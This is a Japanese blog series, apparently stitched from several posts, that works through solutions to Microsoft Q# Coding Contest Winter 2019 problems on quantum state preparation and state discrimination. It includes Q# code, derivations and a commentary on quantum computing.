operation Check(qs: Qubit[], x: Qubit[], y: Qubit): Unit {
    body(...) {
        (ControlledOnInt(0, X))(qs, y);
        (ControlledOnInt(3, X))(qs, y);
        (ControlledOnInt(6, X))(qs, y);
        (ControlledOnInt(9, X))(qs, y);
    }
    adjoint auto;
}

今回は割と簡単でした。

Microsoft Q# Coding Contest - Winter 2019 - その3

前回の続きでB1からになります。

$$ \def\bra#1{\mathinner{\left\langle{#1}\right|}} \def\ket#1{\mathinner{\left|{#1}\right\rangle}} \def\braket#1#2{\mathinner{\left\langle{#1}\middle|#2\right\rangle}} $$

B1. Distinguish three-qubit states

問題

次の2つのうちのいずれかの3 Qubitの状態が与えられるので、 そのどちらが与えられたのかを答えよ。 操作後のQubitの状態は問わない。

  • $\ket{\psi_0} = \frac{1}{\sqrt{3}}(\ket{100}+\omega\ket{010}+\omega^{2}\ket{001})$
  • $\ket{\psi_0} = \frac{1}{\sqrt{3}}(\ket{100}+\omega^{2}\ket{010}+\omega\ket{001})$
    • where $\omega = e^{\frac{2i\pi}{3}}$

解答

B問題は、Qubitの状態を見分ける問題になります。 量子コンピューターにおいては、量子ビットを頑張っていじっても、直接的にはその波動関数が見えるわけではないので、何とかして測定して人間が見えるようにしてやらなければ計算した意味も全く無いという話になってしまいます。なので、状態を見分けるというのは非常に重要なタスクです。一般的にはこれは必ずしも100%の確率で状態を見分ける必要はなくて、例えばBQPという計算クラスなら、誤り確率1/3以下であればよいということになっています(何回もやれば、確率に対して指数的に正解率が上げられるので、1/3ではなくて1/2未満ならなんでも大丈夫みたいです)。しかし今回のタスクは、100%の精度でこの識別を行えというものです。

非常に難しかったです。実際に正答率もだいぶ低かったように見えます。 見分けるべき状態が直交しているなら割と簡単に識別できるのですが、 今回の $\ket{\psi_0}$ と $\ket{\psi_1}$ は直交していない(?) ($\braket{\psi_0}{\psi_1}=\frac{1}{3}(1+\omega^{3}+\omega^{3})=1)$)ので、 すんなりとは見分けられてくれません。 計算間違っていて $\braket{\psi_0}{\psi_1}=\frac{1}{3}(1+\omega^{-1}+\omega^{1})=0$ なので直交していますね…。 直交しているので見分けられます。

どこから手を付けたものか悩ましいですが、 識別ではなく作るのであればそれなりに簡単です。 3状態のW state $\frac{1}{\sqrt{3}}(\ket{001}+\ket{010}+\ket{100})$ に Phase shiftゲート(R1) をかければ良さそうです。1Qubit目の所に$\omega$を、2Qubit目の所に$\omega^{2}$をかければ良いので、$R1(\frac{2\pi}{3}, qs[1])$, $R1(\frac{4\pi}{3}, qs[2])$を順に適用すれば良さそうです。

ということは、その逆をすればW stateに戻るということになります。$R1(\frac{-2\pi}{3}, qs[1])$, $R1(\frac{-4\pi}{3}, qs[2])$を順に適用すれば良いです。

operation Solve (qs : Qubit[]) : Int {
    R1(-PI()*2.0/3.0, qs[1]);
    R1(-PI()*4.0/3.0, qs[2]);
    ...
}

これを適用した時点で、$\ket{\psi_0}$、$\ket{\psi_1}$はそれぞれ

$$\frac{1}{\sqrt{3}}(\ket{100}+\ket{010}+\ket{001})$$

$$\frac{1}{\sqrt{3}}(\ket{100}+\omega\ket{010}+\omega^{-1}\ket{001})$$

になります。ここからさらに $\ket{\psi_0}$の方をゼロ状態$\ket{000}$に戻す操作を考えます。 ゼロ状態からW stateを作る操作は、前回のA1の測定を使わない方の解をちょっといじって、

operation W3 (qs : Qubit[]) : Unit {
    Ry(ArcCos(Sqrt(2.0/3.0))*2.0, qs[0]);
    (ControlledOnInt(0, H))([qs[0]], qs[1]);
    // 1/sqrt(3)*(|000>+|010>+|100>)
    (ControlledOnInt(0, X))(qs[0..1], qs[2]); // |000> -> |001>
    // 1/sqrt(3)*(|001>+|010>+|100>)
}

このような操作になるので、W stateを元に戻すには、これの逆操作を行えば良いということになります。 量子ゲートはすべてユニタリー行列であり、ユニタリー行列は随伴行列が逆行列になる行列なので、自明な逆操作が存在します。なので、一つずつ逆操作を逆に適用していけば良いのですが、そういうのはそれこそ自明に存在しているので、Q#にはその逆操作を自動で作ってくれる機能があります。

operation W3(qs: Qubit[]) : Unit {
    body(...) {
        Ry(ArcCos(Sqrt(2.0/3.0))*2.0, qs[0]); // (1)
        (ControlledOnInt(0, H))([qs[0]], qs[1]); // (2)
        (ControlledOnInt(0, X))(qs[0..1], qs[2]); // (3)
    }
    adjoint auto;
}

全体をbody(...){}で囲んで、最後にadjoint auto;と書けば、随伴バージョンを自動で作ってくれます。Adjoint F(q) などと書けば、随伴バージョンを呼び出すことができます。これを用いると、

operation Solve (qs : Qubit[]) : Int {
    R1(-PI()*2.0/3.0, qs[1]);
    R1(-PI()*4.0/3.0, qs[2]);

    Adjoint W3(qs);

    ...
}

これで$\ket{\psi_0}=\frac{1}{\sqrt{3}}(\ket{100}+\omega\ket{010}+\omega^{2}\ket{001})\Longrightarrow\ket{000}$ の変換ができました。

このとき、$\ket{\psi_1}$の方がどう変換されているのか計算してみると、

$$\frac{1}{\sqrt{3}}(\ket{100}+\omega\ket{010}+\omega^{-1}\ket{001})$$

$$\Longrightarrow\frac{1}{\sqrt{3}}(\ket{100}+\omega\ket{010}+\omega^{-1}\ket{000})\tag{Adjoint (3)}$$

$$\Longrightarrow\frac{1}{\sqrt{3}}(\ket{100}+\omega\ket{0}\frac{1}{\sqrt{2}}(\ket{0}-\ket{1})\ket{0}+\omega^{-1}\ket{0}\frac{1}{\sqrt{2}}(\ket{0}+\ket{1})\ket{0})\tag{Adjoint (2)}$$

$$=\frac{1}{\sqrt{6} } ( (\omega+\omega^{-1} )\ket{000}-(\omega-\omega^{-1})\ket{010}+\sqrt{2}\ket{100})$$

$$ \Longrightarrow\frac{1}{\sqrt{6} } ( (\omega+\omega^{-1} )(\cos( {\cos^{-1}{\sqrt{\frac{2}{3}} } } ) )\ket{0}+\sin( {\cos^{-1}{\sqrt{\frac{2}{3}} } } ) ) \ket{1} )\ket{00}\\ +\sqrt{2}(\sin( {\cos^{-1}{\sqrt{\frac{2}{3}} } } ) )\ket{0}-\cos( {\cos^{-1}{\sqrt{\frac{2}{3}} } } ) )\ket{1})\ket{00}+...) \tag{Adjoint(1)} $$

めんどうなので$\ket{000}$の係数のみ計算

$$=\frac{1}{\sqrt{6} }( (\omega+\omega^{-1} )\sqrt{\frac{2}{3}}\ket{000}+\sqrt{2}(\sqrt{1-{\frac{2}{3}} } ) )\ket{000}+...)$$

$$=\frac{1}{\sqrt{6}}(-1\ket{000}+1\ket{000}+...)$$

$$=\frac{1}{\sqrt{6}}(0\ket{000}+...)$$

なぜか$\ket{000}$の係数が0になりました(なんでこんな都合良く0になるんでしょう?)。ともかく、これで入力が$\ket{\psi_0}$のときは100%の確率で$\ket{000}$になって、入力が$\ket{\psi_1}$のときは100%の確率で$\ket{000}$以外になる操作が書けました。

よって、これらを組み合わせて、解答が得られます。

operation Solve (qs : Qubit[]) : Int {
    R1(-PI()*2.0/3.0, qs[1]);
    R1(-2.0*PI()*2.0/3.0, qs[2]);

    Adjoint W3(qs);

    if (M(qs[0]) == Zero && M(qs[1]) == Zero) {
        return 0;
    } else {
        return 1;
    }
}

operation W3(qs: Qubit[]) : Unit {
    body(...) {
        Ry(ArcCos(Sqrt(2.0/3.0))*2.0, qs[0]);
        (ControlledOnInt(0, H))([qs[0]], qs[1]);
        (ControlledOnInt(0, X))(qs[0..1], qs[2]);
    }
    adjoint auto;
}

B2. Not A, not B or not C?

問題

以下のA,B,Cいずれかの状態が入力として与えられる。

  • $\ket{A}=\frac{1}{\sqrt{2}}(\ket{0}+\ket{1})$
  • $\ket{B}=\frac{1}{\sqrt{2}}(\ket{0}+\omega\ket{1})$
  • $\ket{C}=\frac{1}{\sqrt{2}}(\ket{0}+\omega^{2}\ket{1})$
    • where $\omega = e^{\frac{2i\pi}{3}}$

これらは直交ではないので確実に識別することはできない。なのでその代わりに、どの状態ではない、言うことを示せ。すなわち、

  • $\ket{A}$ であれば、1か2
  • $\ket{B}$ であれば、0か2
  • $\ket{C}$ であれば、0か1

を、それぞれ返せ。

言い換えると、$\ket{A}$ でないのならば0を、$\ket{B}$ でないのならば1を、$\ket{C}$ でないのならば2を、それぞれ返すというのと同値である。

プログラムは1000回実行され$\ket{A}$, $\ket{B}$, $\ket{C}$は等確率で選ばれる。操作後のQubitの状態は問わない。

解答

これが最難問のようです。 いろいろ論文をサーベイしてみたところ、確かにこの3状態ならば、100%の確率で3つのうちどれかの状態ではないということが言えるみたいですが、実際に量子ゲートの形で実装できるように書いてくれているものが見つけられませんでした。

制限時間内に正解できなかったので、他の人の解答を見たところ、

operation Solve (q0: Qubit) : Int {
    mutable m = 0;
    H(q0);
    S(q0);
    using(q1 = Qubit()){
        Controlled Ry([q0],(2.0*ArcCos(1.0/Sqrt(3.0)), q1));
        H(q0);
        set m = ResultAsInt(MultiM([q0, q1]));
        Reset(q1);
    }
    if (m == 1) {
        return 1;
    } elif (m == 0) {
        return 2;
    } else {
        return 0;
    }
}

思ったよりシンプルにできるみたいです。ちなみに、MultiMはQubitをまとめて測定する関数で、ResultAsIntは計測結果を2進数でIntにデコードする関数です。

なんでこれで答えが得られるのか、実際に計算してみると、$\ket{A}$は、

$$\ket{A}=\frac{1}{\sqrt{2}}(\ket{00}+\ket{10})$$ $$\Longrightarrow\ket{0}\tag{H(q0)}$$ $$\Longrightarrow\ket{0}\tag{S(q0)}$$ $$\Longrightarrow\ket{00}\tag{Qubit増やす}$$ $$\Longrightarrow\ket{00}\tag{Controlled Ry}$$ $$=\frac{1}{\sqrt{2}}(\ket{00}+\ket{10})\tag{H(q0)}$$

$\ket{B}$は、

$$\ket{B}=\frac{1}{\sqrt{2}}(\ket{0}+\omega\ket{1})$$

$$\Longrightarrow\frac{1}{\sqrt{2} }(\frac{1}{\sqrt{2} }(\ket{0}+\ket{1} )+\omega\frac{1}{\sqrt{2} }(\ket{0}-\ket{1} ) )\tag{H(q0)}$$

$$=\frac{1}{2}( (1+\omega)\ket{0}+(1-\omega)\ket{1} )$$

$$\Longrightarrow\frac{1}{2}( (1+\omega)\ket{0}+i(1-\omega)\ket{1} )\tag{S(q0)}$$

$$\Longrightarrow\frac{1}{2}( (1+\omega)\ket{00}+i(1-\omega)\ket{10} )\tag{Qubit増やす}$$

$$\Longrightarrow\frac{1}{2}( (1+\omega)\ket{00}+i(1-\omega)\ket{1}(\cos(\cos^{-1}(\frac{1}{\sqrt{3} } ) )\ket{0}-\sin(\cos^{-1}(\frac{1}{\sqrt{3} } )\ket{1} ) ) ) \tag{Controlled Ry} $$

$$=\frac{1}{2}( (1+\omega)\ket{00}+i(1-\omega)\ket{1}(\frac{1}{\sqrt{3}}\ket{0}-\sqrt{\frac{2}{3}}\ket{1}))$$

$$\Longrightarrow\frac{1}{2}( (1+\omega)\frac{1}{\sqrt{2}}(\ket{0}+\ket{1})\ket{0}+i(1-\omega)\frac{1}{\sqrt{2}}(\ket{0}-\ket{1}) (\frac{1}{\sqrt{3}}\ket{0}-\sqrt{\frac{2}{3}}\ket{1}))\tag{H(q0)}$$

面倒なので$\ket{10}$の係数だけ抜き出し

$$(1+\omega)\frac{1}{\sqrt{2}}+i(1-\omega)\frac{1}{\sqrt{2}}\frac{1}{\sqrt{3}}$$

$$=(1+\cos(2\pi/3)+i\sin(2\pi/3))\frac{1}{\sqrt{2}}+i(1-\cos(2\pi/3)-i\sin(2\pi/3))\frac{1}{\sqrt{2}}\frac{1}{\sqrt{3}}$$

$$=(1-\frac{1}{2}+i\frac{\sqrt{3}}{2})\frac{1}{\sqrt{2}}+i(1+\frac{1}{2}-i\frac{\sqrt{3}}{2})\frac{1}{\sqrt{2}}\frac{1}{\sqrt{3}}$$

$$=\frac{1}{2\sqrt{2}}+i\frac{\sqrt{3}}{2\sqrt{2}}+i(\frac{\sqrt{3}}{2\sqrt{2}}-i\frac{1}{2\sqrt{2}})$$

$$=0$$

なぜか$\ket{10}$の係数が0になります。$\ket{C}$の計算は面倒なので省略しますが、こちらは同様に$\ket{00}$の係数が0になります。

なので、たしかにこれを計測した結果が

  • $00$なら$\ket{C}$ではない
  • $10$なら$\ket{B}$ではない
  • $01$か$11$なら$\ket{A}$ではない

ということがわかるので、確かに問題が解けています。しかしこれは…どうやって導くのでしょう???(´・_・`)???

自力で解けないと悔しいので、なんとか自力で解いてみます。

1 Qubitしかなければ測定結果は2通りしか得られず、$\ket{A}$, $\ket{B}$, $\ket{C}$は直交ではないので、おそらく少なくとも1 Qubitの追加Qubitが必要になるはず(そうじゃなかったら少なくとも1つは確実に識別できてしまう)です。そこで、次のような量子回路が作れたならば、問題が解けたと言うことになります。

f:id:tanakh:20190310040114j:plain

$$if \ket{\psi}=\ket{A} \Rightarrow a=0, b=0, \neq0, d\neq0$$ $$if \ket{\psi}=\ket{B} \Rightarrow a\neq0, b\neq0, c=0, d\neq0$$ $$if \ket{\psi}=\ket{C} \Rightarrow a\neq0, b\neq0, \neq0, d=0$$

ブッロホ球上でのベクトルの回転を考えると、RxRyの合成があれば任意の回転が表現できるはずで、あとはコントロールするビットと符合の組み合わせが計4通り、トータルで8個のゲートを繋いだもので任意の記述可能なユニタリー行列は表現されるはずです(具体的な8個は後のコードを参照)。

パラメーターをdouble 8個にまで落とせたら、もう解けそうですね。そうです、焼きなましです。焼きなましに持ち込んでやればこっちのもんです。解けない問題はありません。

基本的には上の条件にマッチするときに0になって、そこから外れれば外れるほど大きくなるスコアを設定して焼き鈍せば良いですが、今回は誤差0に限りなく近い解が必要なので、温度に応じてパラメーターの変動率を下げていくのが良いでしょう。

そうして得られたのが次のコードです(先頭にH(q0)が挟まっているのはこれがないと上手く収束しなかったからなんですが、本当は無しでも行けるはず…?)。

operation Solve (q0: Qubit) : Int {
    mutable m = 0;
    using (q1 = Qubit()) {
        H(q0);
        (ControlledOnInt(0, Ry))([q0], (4.712388980385413, q1));
        (ControlledOnInt(0, Rx))([q0], (3.1415926535894254, q1));
        (ControlledOnInt(1, Ry))([q0], (0.4528278334939593, q1));
        (ControlledOnInt(1, Rx))([q0], (2.437018063152431, q1));
        (ControlledOnInt(0, Ry))([q1], (2.2598858459337396, q0));
        (ControlledOnInt(0, Rx))([q1], (1.7816609588202006, q0));
        (ControlledOnInt(1, Ry))([q1], (4.712388980374012, q0));
        (ControlledOnInt(1, Rx))([q1], (5.243709997732253, q0));

        set m = ResultAsInt(MultiM([q0, q1]));
        Reset(q1);
    }

    if (m == 0 || m == 1) {
        return 0;
    } elif (m == 2) {
        return 1;
    } else {
        return 2;
    }
}

というわけで、脳筋焼きなまし殴りでも解けたので、これで人の閃きに頼らなくても、古典コンピューターを使いこなす人間であれば量子コンピューターが扱えるはずなので、安心して眠れます。メタ的な話になりますが、こういうのを量子コンピューターで解いて欲しいものですね。量子コンピューターとあろうものを、人間が閃かないと使えないというのは釈然としませんもの。

B1. 別解

B1もやっぱり考えて解いてはいけない気がしてきたので、焼き鈍しでごり押してみます。

入力は3Qubitですが、3Qubitのユニタリー変換を探索するのは大変そうなので2Qubitに縮めます。これは$\ket{001}$を$\ket{110}$に変換して、3Qubit目を$\ket{0}$にしてしまえば良いでしょう。もう一つB2と違うところは、2状態の識別なので$\ket{\psi_0}\Rightarrow\alpha\ket{00}+\beta\ket{01}$、$\ket{\psi_1}\Rightarrow\gamma\ket{10}+\delta\ket{11}$と、それぞれ状態が確定できるように分離できるものを探します。

見つかったコードを貼り付けて、前処理を入れて、完成です。

operation Solve (qs : Qubit[]) : Int {
    // 前処理
    // |001> => |110>
    CNOT(qs[2], qs[0]);
    CNOT(qs[2], qs[1]);
    CCNOT(qs[0], qs[1], qs[2]);

    let q0 = qs[0];
    let q1 = qs[1];

    // 焼きなましで求めた2qubitのユニタリー変換
    H(q0);
    (ControlledOnInt(0, Ry))([q0], (0.000000000018460788453467103, q1));
    (ControlledOnInt(0, Rx))([q0], (5.064392436516295, q1));
    (ControlledOnInt(1, Ry))([q0], (2.324596181147987, q1));
    (ControlledOnInt(1, Rx))([q0], (4.7123889803884005, q1));
    (ControlledOnInt(0, Ry))([q1], (3.416645503599746, q0));
    (ControlledOnInt(0, Rx))([q1], (2.2141724456737695, q0));
    (ControlledOnInt(1, Ry))([q1], (3.7803967560193463, q0));
    (ControlledOnInt(1, Rx))([q1], (0.7682002923185038, q0));

    let r0 = M(qs[0]);

    if (r0 == Zero) {
        return 1;
    } else {
        return 0;
    }
}

Microsoft Q# Coding Contest - Winter 2019 - その2

前回与太話だけで終わってしまったので、今回はちゃんと解説していきます。

$$ \def\bra#1{\mathinner{\left\langle{#1}\right|}} \def\ket#1{\mathinner{\left|{#1}\right\rangle}} \def\braket#1#2{\mathinner{\left\langle{#1}\middle|#2\right\rangle}} $$

A1. Generate state |00⟩ + |01⟩ + |10⟩

Aのカテゴリーは、指定されたQubitの状態を生成せよという問題になります。 これはその1問目です。

問題のタイトルで説明が完了している感じがしますが、 タイトルの通り、入力として2 Qubitの状態 $\ket{00}$ が与えられるので、 出力として $\frac{1}{\sqrt{3}}(\ket{00}+\ket{01}+\ket{10})$ を生成せよという問題です。

いわゆる3状態のW stateに似たものを作ればいいのですが、 前回のA4の問題が $2^{k}$ 状態のW stateを作れというもので、 これが2のべき乗の場合は割と簡単にできるのですが、3状態というのは案外作りづらくなっています。 前回のAのラストの問題よりも難しいのが今回の最初の問題に投入されたことで、 今回の難易度の向上が見て取れます。

ところで僕は個人的に前回の問題を$2^{k}$ 状態を作れというところを$k$ 状態を作れという風に読み間違いをしていて、 なぜかすでに問題が解けていたので、そこから答えを持ってきました。

やり方としてはいくつかあると思いますが、まず簡単な方法から。 この問題では測定が制限されていない(ほかの問題には測定が行えないものもある)ので、 測定を行うとシンプルに解くことができます。

まず、3状態の重ね合わせ作らなければならないので、入力の2つのQubitそれぞれにHadamardゲート(H)を使います。 そうすればとりあえず4状態の重ね合わせが得られます。

$$H(\ket{0}) H(\ket{0}) = \frac{1}{2}(\ket{00}+\ket{01}+\ket{10}+\ket{11})$$

operation Solve (qs : Qubit[]) : Unit {
    H(qs[0]);
    H(qs[1]);
}

ここからなんとか右端の $\ket{11}$ を消すことを考えます。 qs[0]qs[1]の状態を確定させずに$\ket{11}$の状態を判別するために、もう1 Qubit導入して、 そのQubitと$\ket{11}$の状態をToffoli(CCNOT)ゲートを用いてentangleさせます。

operation Solve (qs : Qubit[]) : Unit {
    H(qs[0]);
    H(qs[1]);
    using (r = Qubit()) {
        CCNOT(qs[0], qs[1], r);
        Reset(r); // Qubit解放前に |0> にしておく必要があるのでこれがいる
    }
}

r はqs=${\ket{11}}$の時のみ$\ket{1}$になるので、CCNOT後の状態は $$ \frac{1}{2}(\ket{000}+\ket{010}+\ket{100}+\ket{111}) $$ になります。

ここでrを測定します。0が得られれば、qsの状態は、$ \ket{00}$, $\ket{01}$, $\ket{10} $ の等確率な重ね合わせになるので、 これはまさに求めたい結果になります。 1が得られてしまった場合、qs=$\ket{11}$で確定してしまうので、これは望まぬ状態です。 望まないので、もう一度やり直します。

1回の試行あたり$\frac{3}{4}$の確率で正解が得られるので、これを繰り返せば、TLEまでには十分な確率で答えが得られるはず、ということになります。 全体のコードは次の通り。

operation Solve (qs : Qubit[]) : Unit {
    repeat {
        ResetAll(qs);
        H(qs[0]);
        H(qs[1]);
        mutable ok = false;
        using (r = Qubit()) {
            CCNOT(qs[0], qs[1], r);
            set ok = M(r) == Zero;
            Reset(r);
        }
    } until(ok)
    fixup{}
}

これが測定を用いた解法になりますが、測定を用いてしますとadjointにできなくなったりあんまり嬉しくないみたいなので、 測定を用いない解法も示しておきます。測定に頼らないので、余計なQubitを使わず、必ず1回で望みの状態が作れます。

まず状態 $\ket{0}$ から、$\sqrt{\frac{2}{3}}\ket{0}+\sqrt{\frac{1}{3}}\ket{1}$ を作り出します。 このためには、ブロッホ球でいうところのY軸方向に回転させればよさそうです。 $\ket{0}$をY軸方向にΘ回転させると$\cos{\frac{\theta}{2}} \ket{0}-\sin{\frac{\theta}{2}}\ket{1}$になるので、$ \theta = \cos^{-1}({\sqrt{\frac{2}{3}}}) * 2$ とすれば そうなりそうです。

そこから、$\ket{0}$の部分を均等に分割すれば、等確率な3状態が作れそうです。 Controlled Hゲートを使えばよいですが、$\ket{1}$ ではなく、$\ket{0}$でコントロールしたいので、 (ControlledOnInt(0, H))([qs[0]], qs[1]) とします。

この時点で $ \frac{1}{\sqrt{3}}(\ket{00}+\ket{01}+\ket{10}) $ の状態が出来上がるので、これで完成です。

operation Solve (qs : Qubit[]) : Unit {
    Ry(ArcCos(Sqrt(2.0/3.0))*2.0, qs[0]);
    (ControlledOnInt(0, H))([qs[0]], qs[1]);
}

コードとしてはこちらの方が短いですね。

A2. Generate equal superposition of four basis states

N Qubitのゼロ状態 $\ket{0...0}$ と、basis stateを表す4つの古典ビットのベクトルが与えられるので、

$$ \ket{S} = \frac{1}{2}(\ket{\psi_0}+\ket{\psi_1}+\ket{\psi_2}+\ket{\psi_3}) $$

という状態を作れ、という問題。こちらの方がA1よりも簡単な気がしますね。

とりあえず4つの状態を重ね合わせを作らないといけないので、なにはなくともHadamardゲートを2回使います。 使うのですが、そのまま使うと面倒なので、Hadamardゲートを使う用の余分なQubitを2つ作ることにします。

operation Solve (qs : Qubit[], bits : Bool[][]) : Unit {
    using (rs = Qubit[2]) {
        H(rs[0]);
        H(rs[1]);
        ...
    }
}

これで状態は $$ \frac{1}{2}(\ket{0...000} + \ket{0...001} + \ket{0...010} + \ket{0...011}) $$ になるので、後ろ2 Qubitでコントロールすれば前のQubitは好きなようにいじれるようになります。

operation Solve (qs : Qubit[], bits : Bool[][]) : Unit {
    using (rs = Qubit[2]) {
        H(rs[0]);
        H(rs[1]);

        for (i in 0..n-1) {
            for (j in 0..3) {
                if (bits[j][i]) {
                    (ControlledOnInt(j, X))(rs, qs[i]);
                }
            }
        }
        ...
    }
}

末尾の2 Qubit(= rs) がjの時にbits[j][i]が立っているなら、qs[i]Xをかけるというコードになります。

これで状態は $$ \frac{1}{2}(\ket{\psi_0 00} + \ket{\psi_1 01} + \ket{\psi_2 10} + \ket{\psi_3 11}) $$ になるのですが、 うしろに余計なものがくっついてしまっているので、すべて $\ket{00}$にしてやる必要があります。 測定などを行ってしまうとエンタングルしている部分が台無しになってしまうので、 コントロールゲートで何とかします。

といっても、$\psi_i$はすべて異なることが保証されているので、今度は$\ket{\psi_i}$の部分でコントロールして後ろの部分を消してやればよいです。

operation Solve (qs : Qubit[], bits : Bool[][]) : Unit {
    using (rs = Qubit[2]) {
        H(rs[0]);
        H(rs[1]);

        for (i in 0..n-1) {
            for (j in 0..3) {
                if (bits[j][i]) {
                    (ControlledOnInt(j, X))(rs, qs[i]);
                }
            }
        }

        (ControlledOnBitString(bits[1], X))(qs, rs[0]);
        (ControlledOnBitString(bits[2], X))(qs, rs[1]);
        (ControlledOnBitString(bits[3], X))(qs, rs[0]);
        (ControlledOnBitString(bits[3], X))(qs, rs[1]);
    }
}

ControlledOnBitString というおあつらえ向きな関数があるので、これを使えばすっきり書けます。 これで状態が $$ \frac{1}{2}(\ket{\psi_0 00} + \ket{\psi_1 00} + \ket{\psi_2 00} + \ket{\psi_3 00}) $$ になって、余分に確保したQubitはすべて$\ket{00}$になったので、解放されて、消えて、求める状態が残ります。

Microsoft Q# Coding Contest - Winter 2019

去年の夏に第一回が行われた、マイクロソフトによるQ#のプログラミングコンテストが再びやってきました。 個人的に凄く楽しかったので、次回があると良いなあと勝手に期待していたのですが、案外早くやってきてくれて嬉しいです。

codeforces.com

2018夏とタイトルに着いていたので、いずれ別の季節にやってくれるのではと思っていたので、 今年の夏頃にも是非とも期待しておりますマイクロソフトさん。

さて、ご存じの方も多いかと思いますが、Q#というのはマイクロソフトが開発している、量子コンピューター向けのプログラミング言語です。 量子コンピューターとは何かと言いますと、バズワードです。バズワードってなんやねんって仰る方がいるかもしれませんが、 バズワードになってしまったことは仕方がありません。わたしもよもや量子コンピューターがこんな扱いになるなんて、 2010年代も広範になるまで全く思いもよらないことだったんですから。

それはともかく、昨今の量子アニーリングマシンに端を発する、量子コンピューターとはなんぞや問題がどんどん拡大を続けている風潮に反して、 マイクロソフトが社内で開発しているという噂の量子コンピューターは、古式ゆかしい、量子チューリングマシンの定義に基づく、 量子ゲートを組み合わせた量子回路によって実現されるも、いわゆる「狭義」の量子コンピュータと呼べるもののようで、 どういう計算ができるのだとか、どういう計算が古典コンピューターと比較して真に高速に行えるのかという、 そういう研究もおそらく量子コンピューターの中ではもっともしっかりやられている分野であろうと思います。

計算複雑性理論によると、BQP の定義の逆からして、 これを多項式時間で解からしむるデバイスがまさに量子コンピューターであると言えるし、 しかるモチベによって、BQP研究はそれこそもう死ぬほど行われているはずなので、 これがある程度のサイズ以上で実現したら、世の中的にはいくつかの、 有用であるにかかわらず時間的な都合で解けなかった問題が解けるようになるはずなので、 世の中の様相が少なからず変わるという可能性が高いでしょう。

最たるものが素因数分解で、これが効率よく解けないと言うことが、 現代の良く用いられている公開鍵暗号の破られにくさの根拠に用いられているので、 これが破られると、全世界の暗号が全部破られてしまい、そういうものを失った人類は再び戦争の世の中へと 歩みを進めていくことになるのであった……。

などと言うことにもならなさそうで、私個人的には多項式時間っていうのはそんな楽観的なものだと思っていなくて、 有名な素因数分解の量子アルゴリズムであるShorのアルゴリズムでは、桁数の3乗回のゲート数やら測定やらが必要だそうで、 そういうのを例えば、桁数数千の素因数分解に適用しようと思うと、結局の所計算量のオーダーとしては数十億に及びますし、 これが現実的な時間でできるかはまた別問題じゃないかとも思っています。

ましてや桁数を倍にするのは簡単だけど、桁数を倍にされたら、量子計算で素因数分解する手間はあっという間に8倍にされてしまいます。 きっと多項式時間が現実的に解けるという風潮の背景には、かつてのシリコン半導体が、ムーアの法則に従っている、乃ち、 コンピューターの持ちうる計算性能が、時間に対して指数的なのびを示すという事実が元となっている可能性がありますし、 だとすれば多項式時間アルゴリズムは何時かの未来には漸近的に定数時間で解けてしまうというのも乱暴とも言えないのでしょうけれども、 残念ながらシリコン半導体には物理限界が近そうですし、また、量子コンピューターはそもそも本質的に指数的に性能が伸びていくものなのかも よく分かりません(少なくとも僕には)。

だからすぐにどうなるという話でもないと思いますし、まあそもそもだからなんやねんという話で、もっと別の、 どこかの誰かがとても解きたかった問題にはキッチリマッチすることもある可能性もあるので、 やっぱりそういう計算を行うツールが一つ増えることは、我々プログラマーにとっては全く無視できるものではありませんよね。

前置きが長くなり過ぎました。 Microsoft Q#コーディングコンテストについて少し説明しましょう。

このコンテストは、MicrosoftのQ#というプログラミング言語を用いて、与えられたタスクの条件を満たすコードを書いて提出して、制限時間以内に正解を返すプログラムを書けばOKというものです、なるべく沢山のタスクについて、速く正確に作った者が勝者になります。プロコンに慣れ親しんでいる方にとっては、Q#という所だけが独特で、それ以外は普通のプロコンと余り変わらないと考えて良いと思います。そういう風に考えて大丈夫なので、プロコン好きな人、次のQ#コンテストがあったら、いっしょに、でましょ?(,,´・_・`,,)

今コンテストは、量子コンピュータのプログラミング自体が大変難しい上に、従来のプログラミングとはやり方も目的も何もかも異なってきますので、その全く異なる環境への柔軟性を見せられるかと言うところが一つのポイントだと思っています。オッサンのカチカチ頭ではきびしくて、お子様のプルプル脳みそだとジュワーッと新概念がみるみる浸透していって、なんなら小学生とかが優勝してもおかしくないコンテストだと思います。

問題のカテゴリーは大きく4つに分けられており、まず1つ目がAグループ、「特定のQubitの状態を作れ」というものです。初期状態のQubitをぐりぐり動かして複数のQubitをコネコネもつれさせて、お望みの形を作り上げるという、いうなれば粘土工作(?)のようなタスクですね。いろいろ試しているのが楽しい問題です。ですが、そういう職人的な楽しみをすててシステマティックに解く画一的な方法を考えるのも一つのテーマな気はします。

次のBグループは、Aとは逆な感じで、与えられたQubitの状態がどういう状態なのかを判別する系のタスクになります。問題としては、2つの状態のうちのどちらであるか、とか、100%分からないなら、20%の確率で絶対に正解を出せとか、結構バリエーションに富んでいます。与えられたQubitをもちもちねばねばうごかし、これなら見破りやすいぞという形に持っていって、そこで測定して、スパーン!と正解を言い当てる、とてもかっこいいタスクです。でもここが一番難しいんですよね。いわば量子の世界から現実の世界へデータを持ってくるフェーズですし、そういうときに情報はどんどん失われる。でも量子の世界で閉じこもったままで何も計測しないなら、量子計算自体何の意味もないんですよね。猫が死んでるのかも生きているのか、勇気を振り絞って、Qubitを叩き潰すタイプの問題です。

つぎのCグループは、オラクルがテーマです。オラクルと一言で言ってもいろいろありますしなんだろうと思われるかもしれませんが、ここでのオラクルは量子オラクルです。量子オラクルというのは、なんか関数渡すから、その結果をこの別のQubitにもつれさせた形で記録してくれ、というあんまり直感的ではない自明的な一連のプロトコルになります。要するに、Qubit上の関数を書けという話だと思うのですが、Qubitは破壊できないし、コピーもできない(No cloning theoremとか)ので、結局出力を何か他のビットにもつれさせるしかないんでしょうね。問題のカテゴリーの中では、これが一番適当に書けば良いだけだから簡単だと思いました。

最後のDグループは、なんかユニタリー行列の条件が与えられるので、それを満たすユニタリー行列を、 使える量子ゲートを組み合わせて組み立てて下さいと言うものです。 量子ゲートによるプログラミングでは、ユニタリー行列を作ることがまさにプログラミングなんですが、 このタスクでは、大体こことここを非ゼロにしてという大雑把な仕様が与えられるので、 それを満たす行列の組み立て方をひたすら頑張って考えるわけです。 何時の時代もプログラマーというのはそういういい加減な仕様を満たすコードをなんとかして考えなきゃ行けないもので、 ツライのですねと言う哀愁漂う問題(?)で、 しかし、まさにこういうユニタリー行列による量子プログラムの記述から、それを既知のゲートの組み合わせで表現する方法を見つけるというのは、 いまさらそういうことをやる必要があるのか!と思うぐらいには、非常にプリミティブで重要な量子プログラミングにおいては、 重要な進捗が求められる分野だと思います。 この辺解きながらサーベイしていて、あんまりパッとした超すごいやり方が2020年になろうという今でも なかなかないんだなあと思いながら解いていました。

